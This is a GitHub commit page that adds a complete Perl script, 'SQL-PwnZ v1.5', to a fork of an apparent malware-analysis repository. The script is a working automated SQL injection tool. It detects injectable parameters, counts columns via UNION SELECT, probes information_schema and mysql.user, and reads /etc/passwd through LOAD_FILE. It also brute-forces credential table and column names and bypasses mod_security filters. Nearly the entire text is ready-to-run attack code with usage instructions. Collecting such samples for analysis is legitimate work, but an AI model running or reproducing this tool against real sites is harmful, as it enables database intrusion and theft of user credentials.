forked from jwne/caffsec-malware-analysis
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
25fcbb3
commit 6fb9e8d
Showing
1 changed file
with
268 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,268 @@ | ||
#!/usr/bin/perl | ||
|
||
################################################################################################################## | ||
# -[+]- SQL-PwnZ v1.5 | By Login-Root -[+]- ### | ||
################################################################################################################## | ||
|
||
################################################################################################################## | ||
# [+] inf0: ### | ||
################################################################################################################## | ||
# Busca: ### | ||
# ====== ### | ||
# - Nº de columnas ### | ||
# - Information_Schema && MySQL.User ### | ||
# - LOAD_FILE ### | ||
# - Tablas ### | ||
# - Columnas ### | ||
# - Illegal Mix Of Collations Bypass && mod_security Bypass ### | ||
# ### | ||
# ...y guarda todo en un archivo de texto. ### | ||
# ### | ||
################################################################################################################## | ||
|
||
################################################################################################################## | ||
# [+] Use: ### | ||
################################################################################################################## | ||
# perl sqlpwnz.pl [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS] ### | ||
# [WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO] ### | ||
# [COLUMNAS]: Limite de columnas ### | ||
# [ARCHIVO]: Archivo donde guardar web vulnerable ### | ||
# [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional) ### | ||
# [-TB]: Intentar brutear tablas (Opcional) ### | ||
# [-CL]: Intentar brutear columnas (Opcional) ### | ||
# [-NOCHECK]: No hacer el chequeo inicial (Opcional) ### | ||
# [-MOD_FUCK]: Activar mod_security Bypass (Opcional) ### | ||
# [-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional) ### | ||
################################################################################################################## | ||
|
||
################################################################################################################## | ||
# [+] c0ntact: ### | ||
################################################################################################################## | ||
# MSN: [email protected] ### | ||
# E-Mail: [email protected] ### | ||
################################################################################################################## | ||
|
||
################################################################################################################## | ||
# [+] sh0utz: ### | ||
################################################################################################################## | ||
# Greetz: KiKo ; VanHan ; [Dead] Knet ; Ricota ; InyeXion ; OxOnO ; Matt ; r0dr1 ; oceanik6 ; OzX ; yoyahack ### | ||
# VISIT: WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM ### | ||
################################################################################################################## | ||
|
||
use HTTP::Request; | ||
use LWP::UserAgent; | ||
|
||
if(!$ARGV[2]) | ||
{ | ||
print "\n\n-[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-\n========================================="; | ||
print "\n\nUso: perl $0 [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS]\n"; | ||
print "\n[WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]\n[COLUMNAS]: Limite de columnas\n[ARCHIVO]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-TB]: Intentar brutear tablas (Opcional)\n[-CL]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n[-MOD_FUCK]: Activar mod_security Bypass (Opcional)\n[-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)\n\n"; | ||
exit (0); | ||
} | ||
|
||
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario','web_users', | ||
'name','names','nombre','nombres','usuarios','member','members','admin_table','usuaris','web_usuarios', | ||
'miembro','miembros','membername','admins','administrator','sign','config','USUARIS','cms_operadores', | ||
'administrators','passwd','password','passwords','pass','Pass','mpn_authors','author','musuario','mysql.user', | ||
'user_names','foro','tAdmin','tadmin','user_password','user_passwords','user_name', | ||
'member_password','mods','mod','moderators','moderator','user_email','jos_users','mb_user','host','apellido_nombre', | ||
'user_emails','user_mail','user_mails','mail','emails','email','address','jos_usuarios','tutorial_user_auth', | ||
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','tbl_usuarios','user_auth','login_radio', | ||
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass','tbl_admin','usuarios_head', | ||
'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','BG_CMS_Users', | ||
'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id','foro_usuarios','cliente', | ||
'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin','dir_admin','alias','clientes', | ||
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','calendar_users','cursos', | ||
'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','web_users','curso', | ||
'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup','leads','lead', | ||
'associated','accnt','customers','customer','membres','administrateur','utilisateur','riacms_users', | ||
'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users','tb_usuarios', | ||
'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','tb_usuario', | ||
'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO'); | ||
|
||
@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email','senha', | ||
'username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail','cliente', | ||
'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','host','pws','cedula','userName','host_password','chave','alias','apellido_nombre','cliente_nombre','cliente_email','cliente_pass','cliente_user','cliente_usuario', | ||
'login_id','usr','sistema_id','author','user_login','admin_user','admin_pass','uh_usuario','uh_password','psw','host_username', | ||
'sistema_usuario','auth','key','usuarios_nombre','usuarios_nick','usuarios_password','user_clave', | ||
'membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo','usuario_nombre','usuario_nick','usuario_password', | ||
'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors', | ||
'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username'); | ||
|
||
($host, $columnas, $savelist) = @ARGV; | ||
|
||
$agent = LWP::UserAgent->new; | ||
$agent->agent("Google Bot"); | ||
|
||
if ( $host !~ /^http:/ ) | ||
{ | ||
$host = "http://" . $host; | ||
} | ||
|
||
for ($numarg = 0 ; $numarg <= $#ARGV ; $numarg++) | ||
{ | ||
$argumentos.= $ARGV[$numarg]; | ||
} | ||
|
||
if ($argumentos =~ /-MIX_BYPASS/i) | ||
{ | ||
print "\n[+] MIX_BYPASS ACTIVADO"; | ||
$hexin = "unhex(hex("; | ||
$hexend = "))"; | ||
} | ||
if ($argumentos !~ /-MOD_FUCK/i) | ||
{ | ||
if ($argumentos =~ /--/) | ||
{ | ||
$cmn= "+"; | ||
$cfin="--"; | ||
print "\n[+] Comentarios a utilizar: '--' & '+'"; | ||
} | ||
else | ||
{ | ||
$cmn= "/**/"; | ||
$cfin= "/*"; | ||
print "\n[+] Comentarios a utilizar: '/*' & '/**/'"; | ||
} | ||
} | ||
else | ||
{ | ||
print "\n[+] MOD_FUCK ACTIVADO, se ignoran comentarios. Utilizando: '+'. Bypass: '/*!' & '*/'"; | ||
$bypass = "+/*!"; | ||
$cmn= "+"; | ||
$cfin= "*/"; | ||
} | ||
|
||
open(WEB,">>".$savelist) || die "\n\n[-] Imposible crear el archivo de texto\n"; | ||
if ($argumentos =~ /-NOCHECK/i) | ||
{ | ||
print "\n[!] Se omite el chequeo inicial...\n"; | ||
print WEB "[WEBSITE]:\n\n$host\n"; | ||
} | ||
else | ||
{ | ||
print "\n[!] Chequeando si la web es vulnerable...\n"; | ||
$sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cfin)); | ||
$response = $sql->content(); | ||
if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ || $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/ || $response =~ /error de sintaxis al final de la entrada/ || $response =~ /Unknown column/) | ||
{ | ||
print "[+] Web vulnerable, continua el script...\n"; | ||
print WEB "[WEBSITE]:\n\n$host\n"; | ||
} | ||
else | ||
{ | ||
print "[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario o con -NOCHECK activado\n\n"; | ||
close(WEB); | ||
exit(0); | ||
} | ||
} | ||
print "\n[!] Buscando columnas...\n"; | ||
for ($column = 1 ; $column <= $columnas ; $column ++) | ||
{ | ||
$UNION.=','.$column; | ||
$inyection.=','."0x6c6f67696e70776e7a"; | ||
if ($column == 1) | ||
{ | ||
print WEB "\n[COLUMNAS]:\n\n"; | ||
$inyection = ''; | ||
$UNION = ''; | ||
} | ||
$sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin)); | ||
$response = $sql->content(); | ||
if($response =~ /loginpwnz/) | ||
{ | ||
print "[+] La web posee $column columnas\n\n"; | ||
$sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cfin; | ||
print "$sql\n"; | ||
print WEB "$sql\n"; | ||
print "\n[!] Chequeando si existe Information_Schema..."; | ||
$sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."FROM".$cmn."information_schema.tables".$cfin)); | ||
$response = $sql->content(); | ||
if($response =~ /loginpwnz/) | ||
{ | ||
print "\n[+] Information_Schema disponible...guardando en $savelist"; | ||
$sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cmn."FROM".$cmn."information_schema.tables".$cfin; | ||
print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n"; | ||
|
||
} | ||
else | ||
{ | ||
print "\n[-] Information_Schema no disponible"; | ||
} | ||
print "\n[!] Chequeando si existe MySQL.User..."; | ||
$sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."FROM".$cmn."mysql.user".$cfin)); | ||
$response = $sql->content(); | ||
if($response =~ /loginpwnz/) | ||
{ | ||
print "\n[+] MySQL.User disponible...guardando en $savelist"; | ||
$sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cmn."FROM".$cmn."mysql.user".$cfin; | ||
print WEB "\n\n[MYSQL.USER]:\n\n$sql\n"; | ||
|
||
} | ||
else | ||
{ | ||
print "\n[-] MySQL.User no disponible"; | ||
} | ||
while ($loadcont < $column-1) | ||
{ | ||
$loadfile.=','.$hexin.'LOAD_FILE(0x2f6574632f706173737764)'.$hexend; | ||
$loadcont++; | ||
} | ||
print "\n[!] Chequeando si es posible inyectar LOAD_FILE..."; | ||
$sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn.$hexin."LOAD_FILE(0x2f6574632f706173737764)".$hexend.$loadfile.$cfin)); | ||
$response = $sql->content(); | ||
if($response =~ /root:x:/) | ||
{ | ||
print "\n[+] LOAD_FILE disponible...guardando en $savelist"; | ||
print WEB "\n\n[LOAD_FILE]:\n\n$hexinLOAD_FILE(0x2f6574632f706173737764)$hexend => OK! (0x2f6574632f706173737764 => /etc/passwd)\n"; | ||
} | ||
else | ||
{ | ||
print "\n[-] LOAD_FILE no disponible"; | ||
} | ||
if ($argumentos =~ /-TB/i) | ||
{ | ||
print "\n\n[!] Bruteando tablas..."; | ||
print WEB "\n\n[TABLAS]:\n\n"; | ||
foreach $tabla(@nombretabla) | ||
{ | ||
chomp($tabla); | ||
$sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."FROM".$cmn.$tabla.$cfin)); | ||
$response = $sql->content(); | ||
if($response =~ /loginpwnz/) | ||
{ | ||
print "\n[+] La tabla $tabla esta disponible...guardando en $savelist"; | ||
$sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cmn."FROM".$cmn.$tabla.$cfin; | ||
print WEB "$sql\n"; | ||
} | ||
} | ||
} | ||
if ($argumentos =~ /-CL/i) | ||
{ | ||
print "\n\n[!] Tabla a la cual brutear columnas: "; | ||
$tabla=<STDIN>; | ||
chomp($tabla); | ||
print WEB "\n\n[COLUMNAS EN $tabla]:\n\n"; | ||
foreach $columna(@nombrecolumna) | ||
{ | ||
chomp($columna); | ||
$sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn.$hexin."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$hexend.$inyection.$cmn."FROM".$cmn.$tabla.$cfin)); | ||
$response = $sql->content(); | ||
if ($response =~ /loginpwnz/) | ||
{ | ||
print "\n[+] La columna $columna esta disponible...guardando en $savelist"; | ||
print WEB "$hexin$columna$hexend\n"; | ||
} | ||
} | ||
} | ||
print WEB "\n\n\n[*EOF*]"; | ||
print "\n\n[+] Todo salvado correctamente en $savelist\n\n"; | ||
print "## c0ded by Login-Root | 2010 ##\n\n"; | ||
close(WEB); | ||
exit (0); | ||
} | ||
} | ||
print "[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n"; | ||
print "## c0ded by Login-Root | 2010 ##\n\n"; | ||
close(WEB); | ||
exit (0); |